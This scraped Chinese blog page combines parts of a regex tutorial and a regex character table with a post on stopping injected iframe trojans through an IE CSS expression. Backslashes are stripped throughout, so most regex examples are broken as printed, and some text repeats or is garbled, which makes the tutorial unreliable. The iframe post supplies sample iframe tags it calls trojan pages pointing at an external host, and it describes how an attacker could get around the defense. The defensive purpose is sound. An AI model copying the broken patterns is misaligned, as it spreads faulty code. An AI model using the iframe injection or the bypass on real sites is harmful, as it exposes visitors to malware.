  最通用的量词使用形式是用花括号括起的两个由逗号分隔的数字,如这样的格式{min,max},例如,/z{2,4}/ 可以匹配 "zz", "zzz", 或者 "zzzz",花括号中的最大值以及前面的逗号可以省略,例如/d{3,}/可以匹配三个以上的数字,数字的数目没有上限,而/d{3}/(注意,没有逗 号)则精确的匹配3个数字。当花括号出现在不允许量词的位置或者语法与前面提到的不符时,这里它仅仅代表花括号字符本身而不再具有特殊的含义。例如{, 6}不是量词,它仅仅代表这四个字符本身的含义。

  为了方便,三个最常用的量词有它们的单字符缩写形式,它们的的含义如下表:

* 相当于 {0,}
+ 相当于 {1,}
? 相当于 {0,1}


  这也是以上三个元字符做为量词使用含义。

  在使用量词特别是没有上限限制的量词时,应该特别注意不要构成无限循环,例如/(a?)*/,在有的正则表达式工具里。这会形成一个编译错,不过有的工具却允许这种结构,但不能保证各种工具都可以很好的处理这种结构。

重复(Repetition)和量词(quantifiers)

  在前面介绍逆向引用的部分里我们已经接触到了量词(quantifiers)的概念,例如前面的例子/([abc]){3}/表示三个连续的字符,每 个字符都必然是 “abc”这三个字符中的一个。在这个模式里,{3}就属于量词。它表示一个模式需要重复匹配(repetition)的数目。

  量词可以放在下面这些项目之后:

  ?●单个字符(有可能是被转义的单个字符,如xhh)

  ?●“.”元字符

  ?● 由方括号表示的字符类

  ?● 逆向引用

  ?●由小括号定义的子模式(除非它是个断言,我们会在以后介绍)

  最通用的量词使用形式是用花括号括起的两个由逗号分隔的数字,如这样的格式{min,max},例如,/z{2,4}/ 可以匹配 "zz", "zzz", 或者 "zzzz",花括号中的最大值以及前面的逗号可以省略,例如/d{3,}/可以匹配三个以上的数字,数字的数目没有上限,而/d{3}/(注意,没有逗 号)则精确的匹配3个数字。当花括号出现在不允许量词的位置或者语法与前面提到的不符时,这里它仅仅代表花括号字符本身而不再具有特殊的含义。例如{, 6}不是量词,它仅仅代表这四个字符本身的含义。

  为了方便,三个最常用的量词有它们的单字符缩写形式,它们的的含义如下表:

* 相当于 {0,}
+ 相当于 {1,}
? 相当于 {0,1}


  这也是以上三个元字符做为量词使用含义。

  在使用量词特别是没有上限限制的量词时,应该特别注意不要构成无限循环,例如/(a?)*/,在有的正则表达式工具里。这会形成一个编译错,不过有的工具却允许这种结构,但不能保证各种工具都可以很好的处理这种结构。

量词匹配的“greedy”与“ungreedy”

  在使用带量词的模式时,我们常会发现对同一模式而言,同一个目标字符串可以有多种匹配方式。例如/d{0,1}d/,可以匹配两个或三个十进制数字, 如果目标字符串是123,当量词取下限0里,它匹配“12”,当量词取上限1里,它匹配“123”整个字符。这两种匹配结果都是正确的,如果我们取它的子 模式/(d{0,1}d)/,则匹配的结果1到底是“12”还是“123”?

  实际的运行结果一般会是后者,因为默认情况下,大多数正则表达式工具的匹配是按“greedy”原则匹配的。“greedy”单词的中的含义是“贪吃 的, 贪婪的”的意思,它的行为也如此单词的含义,所谓greedy匹配意指在量词限制范围内,只要能保持后续模式的匹配,匹配总是尽可能的重复下去,直到不匹 配的情况发生为止。为便于理解,我们看下面这个简单的例子。

  /(d{1,5})d/匹配“12345”这个字符串,这个模式表示在1到5个数字后面跟上一个数字,量词范围从1到5,当它的值在1-4时,整个模 式都是匹配的,1的值可以是“1”,“12”,“123”,“1234”,而在greedy匹配的情况下,它取匹配时的量词最大值,因此最终匹配的结果 是”1234”。

  在大多数情况下,这就是我们想要的结果,但情况并不总这样。例如,我们希望用下面这个模式提取出c语言的注释部分(在c语言中,注释语句放在字符串 /*和*/之间)。我们使用的正则表达式是/*.**/,但匹配的结果却完全和需要的不同。当正则表达式解析到“/*”这后的“.*”时,因为“.”可以 代表任意字符,这也包含了其后需要匹配的“*/”,在量词的作用下,这个匹配将一直进行下去,超过下一个“*”/直到文本的结束,这显然不是我们需要的结 果。

  为了完成如上例我们想要的那种匹配,正则表达式引入了ungreedy匹配方法,与greedy匹配相反,在满足整个模式匹配的前提下,它总是取最小 的量词数目结果。Ungreedy匹配用在量词后面加上问号“?”来表示。例如在匹配C语言的注释时,我们把正则表达式写成如下形式:/*.*?*/,在 量词“*”后加上问号就可以达成想要的结果。还有前面那个例子用/(d{1,5})d/匹配“12345”这个字符串,如果改写为ungreedy模式向 这样/(d{1,5}?)d/,、1的值将为1。

  上面的解释也许有些不准确,量词后的问号的作用实际上是反转当前的正则表达式的greedy与ungreedy行为。你可以通过模式修正符“U”将正则表达式设成ungreedy模式然后在模式中通过量词后的问号将之反转为greedy。

  一次性子模式(Once-only subpatterns)

  关于量词的另一个有趣的话题是一次性子模式(Once-only subpatterns)。要理解它的概念需要先了解一下含有量词的正则表达式的匹配过程。我们这里举个例子。

  现在,让我们用模式/d+foo/来匹配字符串“123456bar”,当然,它的结果是没有匹配。但正则表达式引擎是如何工作的呢?它先分析前面的 d+,这代表一个以上的数字,然后检查目标字符串的对应位置的第一个字符“1”,符合模式,然后根据量词重复这个模式对字符串进行匹配直到 “123456”始终符合“d+”模式,接着它在目标字符串中遇到字符“b”无法与“d+”匹配,于是查看“d+”的后续模式“foo”,与目标字符串的 后续部分“bar”无法匹配,这时,有趣的事情出现了,解释引擎会对前面已经解析过的“d+”模式进行回溯,将量词数目减少一,看剩余部分能否匹配,此时 “d+”的值改为“12345”,然后解释引擎看目标字符串剩余的部分“6bar”能否与剩余的模式“foo”相匹配,如果不行,就把量词数再减一,直到 达到最小的量词限制,如果仍无法匹配,则表明目标字符串无法匹配,返回无法匹配的结果。

  现在,我们就可以来接触一次性子模式了。所谓一次性子模式就是定义在正则表达式解析时不需要上述回溯过程的子模式。它用左圆括号后面的问号和小于号来表示,向这样(?>)。如果将上面提到的例子改为一次性子模式,可以这样书写:

  /(?>d)+foo/,这时,当解析器遇到后面不匹配的bar时,会立即返回不匹配的结果,而不会进行前面提到的回溯过程。

  需要了解的是,一次性子模式属于非捕获子模式,它的匹配结果不能被逆向引用。

  当一个没有设定重复上限的子模式中包含了同样没有设定重复上限的模式时,使用一次性子模式是唯一可以避免让你的程序陷入长时间等待的方法。例如你用 “/(D+|<d+>)*[!?]/”这个模式去匹配一长串的a字符,向这样 “aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”,在返回最终无匹配的结果前,你会等待很长的一段时间。这个模式表示一串非数字 字符或者用尖括号括着的一串数字后跟随着叹号或者问号,把这段字符串分成两个重复的部分会有很多种分法,而无论是子模式本身还是子模式之内的量词的各可能 值都要经过逐一测试,这将使最终的运算量达到一个很大的程度。这样,你将在电脑前等待相当长的时间才会看到结果。而如果用一次性子模式来改写刚才的模式, 改成这样/ ((?>D+)|<d+>)*[!?]/,你就可以很快得到运算的结果。
正则表达式快速入门(三)

在上文里,我们介绍了正则表达式的子模式,逆向引用和量词,在这篇文章里,我们将重点介绍正则表达式中的断言(Assertions)。

  断言(Assertions)

  断言(Assertions)是在目标字符串的当前匹配位置进行的一种测试但这种测试并不占用目标字符串,也即不会移动模式在目标字符串中的当前匹配位置。

  读起来似乎有点拗口,我们还是举几个简单的例子。

  两个最常见的断言是元字符“^”和“$”,它们检查匹配模式是否出现在行首或行尾。

  我们来看这个模式/^ddd$/,试着用它来匹配目标字符串“123”。“ddd”表示三个数字字符,匹配了目标字符串的三个字符,而模式中的^和$分别表示这三个字符同时出现在行首和行尾,而它们本身并不与目标字符串中的任何字符相对应。

  其它还有一些简单的断言b, B, A, Z, z,它们都以反斜线开头,前面我们已经介绍过反斜线的这个用法。这几个断言的含义如下表。

断言 含义
b 字分界线
B 非字分界线
A 目标的开头(独立于多行模式)
Z 目标的结尾或位于结尾的换行符前(独立于多行模式)
z 目标的结尾(独立于多行模式)
G 目标中的第一个匹配位置


  注意这些断言不能出现在字符类中,如果出现了也是其它的含义,例如b在字符类中表示反斜线字符0x08。

  前面介绍的这些断言的测试都是一些基于当前位置的测试,断言还支持更多复杂的测试条件。更复杂的断言以子模式方式来表示,它包括前向断言(Lookahead assertions)和后向断言(Lookbehind assertions)。

  前向断言(Lookahead assertions)

  前向断言从目标字符串的当前位置向前测试断言条件是否成立。前向断言又可分为前向肯定断言和前向否定断言,分别用(?=和{?!表示。例如模式/ w+(?=;)/用来表示一串文本字符后面会有一个分号,但是这个分号并不包括在匹配结果中。一件有趣的事看起来差不多的模式/ (?=;)w+/并不是表示一串前面不是分号的alpha字符串,事实上,不论这串alpha字符的前面是否是一个分号它总是匹配的,要完成这个功能需要 我们下面提到的后向断言(Lookbehind assertions)。

  后向断言(Lookbehind assertions)

  后向断言分别用(?<=和(?<!表示肯定的后向断言与否定后向断言。例如,/ (?<!foo)bar/将寻找一个前面不是foo的bar字符串。一般而言,后向断言使用的子模式需要有确定的长度值,否则会产生一个编译错误。

  使用后向断言与一次性子模式搭配使用可以有效的文本的结束部分进行匹配,这里来看一下例子。

  考虑一下如果用/abcd$/这样一个简单的模式来匹配一长段以abcd结尾的文本,因为模式的匹配过程是从左向右进行的,正则表达式引擎将在文本中 寻找每一个a字符并尝试匹配剩余的模式,如果在这长段文本里仅好有不少的a字符,这样做明显是非常低效的,而如果把以上模式换成为样/^.*abcd$ /,这时前面的“^.*”部分将匹配整个文本,然后它发现下一个模式a无法匹配,这时会发生前面提到过的回溯过程,解析器会逐次缩短“^.*”匹配的字符 长度从右向左逐次查找剩余的子模式,也要产生多次的尝试过程。现在,我们用一次性子模式与后向断言重写所用的模式,改为/^(?>.*)(? <=abcd)/,这时,一次性子模式一次匹配了整段文本,然后用后向断言检查前面四个字符是否为abcd,只需要一次检测就可以立刻确定整个模式 是否匹配。在遇到需要匹配一个很长的文本时,这种方法可以非常显著的提高处理效率。

  一个模式中可以包含多个相继的断言,断言也可以嵌套。另外,断言使用的子模式也是非捕获的,不能被逆向引用。

  断言的一个重要应用领域就是做为条件子模式的条件。那什么是条件子模式呢?

条件子模式(Conditional subpatterns)

  正则表达式允许在模式中根据不同的条件使用不同的匹配子模式。也就是条件子模式(Conditional subpatterns)。它的格式如下?(condition)yes-pattern)或者 (?(condition)yes-pattern|no-pattern)。如果条件满足,采用yes-pattern,否则,采用no- pattern(如果在模式中提供了话)。

  条件子模式中的条件有两种,一种是断言结果,另一种是看是否捕获一个前面提供的子模式。

  如果在表示条件的圆括号里的内容是一个数字,它表示当此数字代表的子模式被成功匹配时条件为真。看看下面这个例子,/( ( )? [^()]+ (?(1) ) )/x,(注意“x”模式修正符表示忽略字符类外的空白字符和#符号之后的内容)。

  这个模式的第一部分“( ( )?”匹配了一个可选的左图括号“(”,第二部分“[^()]+”匹配了一个以上的非圆括号字符,最后一部分“(?(1) ) )”是个条件子模式,表示如果捕获到1也即那个可选的左圆括号,第三部分应该会出现一个右圆括号“)”。

  如果在表示条件的圆括号内是一个“R”字符,表示在这个模式或子模式被递归调用时条件为真,在递归调用的顶层,这个条件为假。关于正则表达式中的递归,我们会在后面的部分专题介绍。

  如果条件不是一个数字或R字符,则它必需是一个断言。断言可以是肯定或否定的前身或后向断言。让我们看下面这个例子。

  /(?(?=[^a-z]*[a-z])

  d{2}-[a-z]{3}-d{2} | d{2}-d{2}-d{2} )/x

  为了让这个正则表达式更容易阅读,我们特意采用了x模式修正符,这样我们可以在用模式中加入空格对符式进行格式上的分隔并分行表示而不影响模式的解析。
by clin003 from:http://clin003.com/http://blog.csdn.net/cin003/
  第一行的条件子模式使用了一个肯定的前向断言,表示一串可选的非小写字母后面跟随着一个小写字母。换句话说,它查看目标字符串是否至少包含一个小写字 母,如果是,它用“|”前的模式对目标进行匹配,看目标是否为看目标是否为两个数字-三个小写字母-两个数字这种格式,否则,用“|”来匹配目标,看目标 字符串是否为由“-”分隔的三段二位十进制数字。

  正则表达式中的注释

  为了让正则表达式更容易阅读,可以在其中加入注释语句。通常注释由左圆括号和井号——“(#“开始,当遇到下一个右圆括号”)“结束。注释是禁止嵌套的。

  如果设定了“x”模式修正符,任何字符类之外(也即[]之外)的井号(#)和下一个新行标记之间的部分也被作为注释看待。
正则表达式快速入门(四)

在上一篇文章里,我们介绍了正则表达式中断言相关的一些概念,在本文里,我们会介绍正则表达式中递归的运用与利用正则表达式修改目标字符串。

  正则表达式中的递归

  接触过程序的朋友可能都遇到过成对的各种括号吧,这些括号常常相互嵌套,而且嵌套的层次数目无法确定。试想一下如果想提取一段程序里用括号括起的一段代码,这里面很可能包含了层次数目不定的其它括号对,用正则表达式该如何完成?

  在Perl 5.6之前这的确有点困难,不过从Perl 5.6之后,引入了递归正则表达式,这个问题得到了解决。通常在正则表达式里用“(?R)”表示一个对自己的引用,下面让我们看看用什么正则表达式来解决刚才提出的问题。

/( ( (?>[^()]+) | (?R) )* )/x


  现在让我们来分析这个模式的含义,这里使用了“x”模式修正符,以便可以在模式中加入空格以方便阅读。

  模式的开头是匹配第一个左圆括号,然后我们需要捕获的子模式,注意,字模式后面跟了量词“*”,表示此模式可以重复0到多次。最后是一个结束圆括号。 现在我们分析子模式( (?>[^()]+) | (?R) )的内容。这是一个分支子模式,表示模式可以有两种情况,第一种是(?>[^()]+),这是一个一次性子模式,代表一个以上的非括号字符,另一种 情况是| (?R),也即对正则表达式自己的递归调用——( ( (?>[^()]+) | (?R) )* ),又寻找一个左圆括号,开始查找一对嵌套的圆括号包含的内容。

  分析到这里,这个正则表达式的含义已经基本清楚,但你注意到没有,这里为什么要使用一次性子模式(?>[^()]+)来查找非括号字符串?

  事实上,由于递归的层次是无限的,这种处理非常必要,特别是遇到不匹配的字符串时,它不会让你陷入长时间的等待。考虑一下下面这个目标字符串,

  (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa()

  在得出不匹配的最终结果前,如果不使用一次性子模式,解析器将尝试每一种可能的方法来分割目标字符串,这将浪费大量的时间。

用正则表达式修改目标

  并非所有的正则表达式工具都允许你修改目标字符串,它们中的一些仅仅使用正则表达式来查找匹配指定模式的字符串,在Linux中,最为广泛使用的支持 正则表达式的工具就是grep命令,这是一个专门用来查找的工具,再就是一些文本编辑器工具,它们有的允许使用正则表达式替换,有的则不允许,这需要查看 你使用的工具的在线手册。

  对于那些允许你使用正则表达式来修改目标字符串的工具中,它们之间的一些不同你必然放在心上:

  这些不同首先表现在替换的具体形式上,有的是以对话框的形式分别让你输入需要查找的模式和被替换的内容,有些则使用命令使界面通过定界符来分隔匹配的模式与需要替换的内容,对于一些编程语言工具,它们通常通过函数的不同参数来分别定义需要匹配的模式与替换的内容。

  另一个需要注意的不同是这些工具具体修改的对象。大多数基于Linux的命令行工具一般是通过标准输出或者管道来修改缓存的内容而非直接修改磁盘上存储的文件,而文本编辑器工具或编程语言通常会直接修改目标文件。

  我们下面用Linux下sed命令的格式来举几个正则表达式的例子:

  模式:s/cat/dog/g

  输入:wild dogs, bobcats, lions, and other wild cats

  输出:wild dogs, bobdogs, lions, and other wild dogs

  模式:s/[a-z]+i[a-z]*/nice/g

  输入:wild dogs, bobcats, lions, and other wild cats

  输出: nice dogs, bobcats, nice, and other nice cats

  当我们使用模式进行替换操作时,目标字符串中所有匹配模式的字符串都将被替换。

  下面再举一个使用逆向引用进行替换的例子:

  模式:s/([A-Z])([0-9]{2,4}) /2:1 /g

  输入: A37 B4 C107 D54112 E1103 XXX

  输出: 37:A B4 107:C D54112 1103:E XXX

  前面已经介绍过默认情况下的匹配一般是greedy的,这常会使实际匹配的部分大于你希望匹配的内容,特别是在进行替换操作时这将更加危险,因为如果 你在错误匹配的情况下执行了一次替换操作,实际上你是删除了目标中的有效内容,特别是当这种操作面向文件时造成的危害就更大了。因此,牢记一个不严格的字 符类加上一个不严格的量词足以造成不可挽回的后果,执行类似操作前一定要多测试一下不同的目标字符串,尽可能避免这种情况的发生。

  在本教程的下一篇文章里,我们会介绍一款可以方便进行正则表达式学习的工具和一些正则表达式编写的思路。
正则表达式快速入门(五)

在上一篇文章里,我们介绍了正则表达式中的递归与替换,现在让我们接触一个学习正则表达式时方便测试使用的工具,并介绍一些正则表达式的编写思路。

  一个学习正则表达式的便捷工具

  学习正则表达式最好的方法当然是实践,不过支持正则表达式的工具虽多,但如果仅仅用来做练习却不是很方便。

  这里我向一家推荐一款专门的正则表达式编写测试工具,PHPEdit公司的Regular Expression Editor工具。这是一个免费软件,主要用来调试PHP使用的Perl兼容正则表达式函数。使用它可以方便的输入目标字符串和正则表达式,并实时看到匹 配的结果。可以到它的下载网页去下载这个工具。

  程序的界面非常简明,不过使用中发现,它的一些功能使用起来好像有问题,只有preg_match_all和preg_replace功能正常,另外在匹配模式输入框中,不要加模式定界符,程序好像把该输入框中的全部内容都作为模式来解析。

  好在做为一个正则表达式的练习工具,它的功能是足够了,下面是它的运行界面。


程序运行界面

  文中提到的各个例子都可以在里面进行测试,在最上面的框里输入模式,把目标字符串写进中间的输入框,点击“run the regxwp”按钮可以在下面得到匹配结果。

正则表达式的编写思路

  一个避免过多匹配的小技巧

  前面我们已经多此谈到书写不合理的正则表达式引起过多匹配的问题,现在的问题是,如何可以尽量避免类似的情况发生。这里有个小小的技巧。

  如果你发现你定制模式匹配了过多的结果,一个好的方法是换个思路,与其考虑我的模式下一步需要匹配什么,不如考虑我的模式下一步需要避免匹配什么。我们可以用元字答“^”和字符类很容易的达成这种效果,这常常可以得到更精确的匹配。

  为了说明这种思路的好处我们先来举一个与正则表达式无关的例子,考虑这样一个问题,你把一个骰子一次抛出6的概率是六分之一,如果让你掷六次,掷出一个6的概率是多少呢?

  可能有人会这么算,一次的概率是1/6,六次是就是6个1/6,加起来等于1。这个结果明显是错的,虽然你掷了六次,但肯定不能保证必然会掷出一个6。从正向的思路解这道题看上去有点难。

  如果我们换个思路,解决的方法就明确多了。我们可以把这个题的问法改成这样,如果让你掷6次骰子,每一次都掷不出6的概率是多少?这个问题就好解多 了,根据概率的乘法原理,每一次掷出不是6的点数的概率是5/6,而6次中每一次都不是6的概率是5/6的6次方,大概等于33%的样子,然后用1减去这 个数字就可以得到我们需要的答案。

  你可以把模式中每部分的匹配看作掷一次骰子的过程,每一部分的匹配概率与总匹配概率的情况与我们上面这个例子非常相似。

  如何提高正则表达式的解析效率

  对同样匹配内容的正则表达式而言,一些模式往往比另外一些模式更有效率。举一个简单的例子,使用字符类“[aeiou]”会比使用分支选择型模式“(a|e|i|o|u).”更有效,一般而言,使用尽可能简单和基本的模式通过会得到更高的效率。

  应该尽可能的慎用相互嵌套的无限重复量词,当遇到不匹配的目标字符串时,对字符串的解析有可能花掉很可观的时间。比如下面这个模式片断“(a+) *”,当遇到不匹配的目标字符串“aaaa”时,解析器会对它尝试33种不同的匹配方法,这个数目会随不匹配字符串长度的增加而极快的增长。

  一些正则表达式工具对一些特定的模式匹配进行了优化以提高效率,了解你使用的正则表达式工作做过些什么优化并尽可能利用经过优化的模式可以大大提高你 的正则表达式执行效率。例如,PHP对形如/a+)*b /这样的模式的解析进行了优化,当模式结尾是一个确定的字符时,解析器会先查找目标的结尾是否符合模式,如果否则立刻返回失败的匹配结果并停止解析。如果 将上面的样式改为“(a+)*d”时,因为结尾不再是一个确定的字符,此模式会按正常的过程解析。如果你想看一下两者效果的差异,你在我们前面提到的工具 中,把目标字符串设置成25个小写的a字符,然后分别测试两个模式,前者立刻就结束了,而后者需要等待约一秒(笔者使用的是XP1700+处理器)。

  除了尽可能利用经过优化的模式,对一些模式进行重新构造也可以大大提高效率。我们在介绍后向断言时介绍过的那个利用后向断言结合一次性子模式匹配结尾的字符的方法就是一个很好的例子。

  这里我们准备结束这个教程,由于篇幅和本人水平的限制文中可能会有很多疏漏,还要请求大家谅解。对正则表达式介绍最全面的可能还是Perl相关的一些 文档和著作,如果想对正则表达式进行更深入的了解可以参看Jeffrey Friedl 写的“Mastering Regular Expressions”一书,里面有很多例子。不过我觉得在了解正则表达式基本概念后,还是仔细读一下自己经常使用的相关工具里的正则表达式相关部分更 实用一些,最后,还是那句话,实践出真知,希望大家在不断实践中更好的掌握正则表达式的使用。
正则表达式中的特殊字符

转自:http://www.phpe.net/articles/151.shtml

字符 描述

将下一个字符标记为一个特殊字符、或一个原义字符、或一个后向引用、或一个八进制转义符。例如,'n' 匹配字符 "n"。'n' 匹配一个换行符。序列 '' 匹配 "" 而 "(" 则匹配 "("。
^
匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 'n' 或 'r' 之后的位置。
$
匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 'n' 或 'r' 之前的位置。
*
匹配前面的子表达式零次或多次。例如,zo* 能匹配 "z" 以及 "zoo"。 * 等价于{0,}。
+ 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
?
匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配 "do" 或 "does" 中的"do" 。? 等价于 {0,1}。
{n}
n 是一个非负整数。匹配确定的 n 次。例如,'o{2}' 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。
{n,}
n 是一个非负整数。至少匹配n 次。例如,'o{2,}' 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。
{n,m}
m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。刘, "o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。
?
当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串 "oooo",'o+?' 将匹配单个 "o",而 'o+' 将匹配所有 'o'。
.
匹配除 "n" 之外的任何单个字符。要匹配包括 'n' 在内的任何字符,请使用象 '[.n]' 的模式。
(pattern)
匹配pattern 并获取这一匹配。所获取的匹配可以从产生的 Matches 集合得到,在VBScript 中使用 SubMatches 集合,在JScript 中则使用 {CONTENT}… 属性。要匹配圆括号字符,请使用 '(' 或 ')'。
(?:pattern)
匹配 pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用 "或" 字符 (|) 来组合一个模式的各个部分是很有用。例如, 'industr(?:y|ies) 就是一个比 'industry|industries' 更简略的表达式。
(?=pattern)
正向预查,在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如, 'Windows (?=95|98|NT|2000)' 能匹配 "Windows 2000" 中的 "Windows" ,但不能匹配 "Windows 3.1" 中的 "Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。
(?!pattern)
负向预查,在任何不匹配Negative lookahead matches the search string at any point where a string not matching pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如'Windows (?!95|98|NT|2000)' 能匹配 "Windows 3.1" 中的 "Windows",但不能匹配 "Windows 2000" 中的 "Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始
x|y
匹配 x 或 y。例如,'z|food' 能匹配 "z" 或 "food"。'(z|f)ood' 则匹配 "zood" 或 "food"。
[xyz]
字符集合。匹配所包含的任意一个字符。例如, '[abc]' 可以匹配 "plain" 中的 'a'。
[^xyz]
负值字符集合。匹配未包含的任意字符。例如, '[^abc]' 可以匹配 "plain" 中的'p'。
[a-z]
字符范围。匹配指定范围内的任意字符。例如,'[a-z]' 可以匹配 'a' 到 'z' 范围内的任意小写字母字符。
[^a-z]
负值字符范围。匹配任何不在指定范围内的任意字符。例如,'[^a-z]' 可以匹配任何不在 'a' 到 'z' 范围内的任意字符。
b
匹配一个单词边界,也就是指单词和空格间的位置。例如, 'erb' 可以匹配"never" 中的 'er',但不能匹配 "verb" 中的 'er'。
B
匹配非单词边界。'erB' 能匹配 "verb" 中的 'er',但不能匹配 "never" 中的 'er'。
cx
匹配由x指明的控制字符。例如, cM 匹配一个 Control-M 或回车符。 x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。
d
匹配一个数字字符。等价于 [0-9]。
D
匹配一个非数字字符。等价于 [^0-9]。
f
匹配一个换页符。等价于 x0c 和 cL。
n
匹配一个换行符。等价于 x0a 和 cJ。
r
匹配一个回车符。等价于 x0d 和 cM。
s
匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ fnrtv]。
S
匹配任何非空白字符。等价于 [^ fnrtv]。
t
匹配一个制表符。等价于 x09 和 cI。
v
匹配一个垂直制表符。等价于 x0b 和 cK。
w
匹配包括下划线的任何单词字符。等价于'[A-Za-z0-9_]'。
W
匹配任何非单词字符。等价于 '[^A-Za-z0-9_]'。
xn
匹配 n,其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如, 'x41' 匹配 "A"。'x041' 则等价于 'x04' & "1"。正则表达式中可以使用 ASCII 编码。.
num
匹配 num,其中 num 是一个正整数。对所获取的匹配的引用。例如,'(.)' 匹配两个连续的相同字符。
n
标识一个八进制转义值或一个后向引用。如果 n 之前至少 n 个获取的子表达式,则 n 为后向引用。否则,如果 n 为八进制数字 (0-7),则 n 为一个八进制转义值。
nm
标识一个八进制转义值或一个后向引用。如果 nm 之前至少有is preceded by at least nm 个获取得子表达式,则 nm 为后向引用。如果 nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的后向引用。如果前面的条件都不满足,若  n 和 m 均为八进制数字 (0-7),则 nm 将匹配八进制转义值 nm。
nml
如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。
un
匹配 n,其中 n 是一个用四个十六进制数字表示的 Unicode 字符。例如,u00A9 匹配版权符号 (?)。
Tags: ,

一行代码杜绝iframe挂马

[ 2008/01/14 13:51 | by pling ]
相信大多数站长都曾经遭遇过iframe木马的侵害,有朋友的网站被注入了N回iframe,心情可想而知。而且现在ARP攻击,注入iframe也是轻而易举的事,仅局域网里都时刻面临威胁
今天把原理细细地讲一下吧:

IE Only——一般只有IE害怕iframe这样的挂马,所以就拿IE开刀。
在阅读本文之前,我们先了解一下expression;
IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和 JavaScript脚本关联起来,这里的CSS属性可以是元素固有的属性,也可以是 自定义属性。就是说CSS属性后面可以是一段JavaScript表达式,CSS属性的值等于Javascript表达式执行的结果。在表达式中可以直接 引用元素自身的属性和方法,也可以使用其他浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。
很多朋友都知道CSS可以直接描述一个可视标记的外观。例如:p{color:red} 则网页里 所有p标记里的文字颜色都会变成红色;iframe不也是一个标记吗?开始跟灵儿写代码吧,呵呵:
iframe{...这里写描述外观的CSS代码;};

仔细想想要防止iframe里的东东被下载的最好办法是什么?核心来了,那就是切断iframe里的请求,切断请求就是要迅速销毁iframe对象。如何实现呢,上面不是介绍了expression吗?expression是可以执行JS脚本的哈。语法格式如下二种:
标记固有的CSS属性名:expression(JS表达式);
或 自定义属性名:expression(JS表达式);

在这里我们选择第二种,代码应该大致是这样
iframe{v:expression(JS表达式);}

接下来的问题是如何销毁网页里所有的iframe对象;使用JS实现的原理是这样 的:使iframe里的请求地址变成空白页(about:blank),再将iframe对象从DOM(文档对象模型)中移除就可以切断所有iframe 里的请求了。移除DOM节点的方法比较多,我这里就用 outerHTML这个属性吧。CSS代码如下:
iframe{v:expression(this.src='about:blank',this.outerHTML='');}

说明:前面的v字是灵儿自己定义的一个CSS属性,这里的this代表所有将要描 述外观的iframe对象,中间的逗号代表二句代码一起执行,没有执行优先顺序,这可是强有力的保证噢。about:blank代表空白页,大家都知道 的。outerHTML属性是DOM对象包含自身的HTML代码,而innerHTML则是DOM对象(不含本身)里面所包含的HTML代码。
爽快,代码写好了,就让我信来测试一下有没有效果。
首先,新建一个网页,插入以上的CSS代码(或在您现有的CSS代码里加入上面那句):
<style type="text/css">
iframe{v:expression(this.src='about:blank',this.outerHTML='');}
</style>

然后在这个页面插入几个IFRAME代码,假设它们是被挂的木马网页。代码如下:
<iframe xsrc=""></iframe>

<iframe xsrc="http://blog.sust.net.ru/"></iframe>草讯
<iframe xsrc="
http://blog.sust.net.ru/"></iframe> 涩果
保存为noiframe.htm,打开浏览器测试一下(本地测试需要启用顶部禁用 的脚本的提示条哦)。我这里使用抓包工具来测试,不过也没有必要使用抓包工具,一个最简单有效的方法是打开IE的缓存文件夹,先清空它,再刷新这个页面, 看看缓存文件夹里有没有这三个网站里的文件。如果没有,说明没有任何请求结果被返回——测试结果是令人满意的,我的脸上有些微笑 ^^*,这时同事递给我一块饼,蛮好吃的。
提示:Windows XP SP2的缓存文件夹位置 C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
细心的朋友发现问题来了,如果我自己的网页里要使用iframe这个东东怎么办?
答:如果要使自己的iframe显示在网页里,而别人挂的IFRAME马都不起作用,在CSS里加一个
#haoexe{v:expression() !important}

对应的IFRAME代码为:
<iframe id="haoexe" name="haoexe" xsrc="
http://www.haoexe.com/"></iframe>
就OK了。

提示:IE7中优先执行标注有"!important"描述的样式,IE6不认识!important,采用就近原则,所以IE6的这个代码放在CSS的最后就可以了。
这里的f126,有很多朋友有疑问,他们问我为什么取"f126",我这样回答——这个f126是随意取的,只要下面的iframe里的ID属性和CSS里的一致就行了。同事又要递一块饼我吃,我说饱了哈..嘻嘻..
当然挂马者可以构造这样的代码
<iframe style="v:expression() !important" xsrc="URL"></iframe>
使我的防御方式失效,不过它得特意去看我的CSS代码里iframe里的前缀v,如果我的v是变化的呢,哈哈,是不是也不管用呢!

小结:以上的方法只是停止了iframe的请求并销毁了它本身,但以后的挂马方式改变了,例如改成
<script></script>
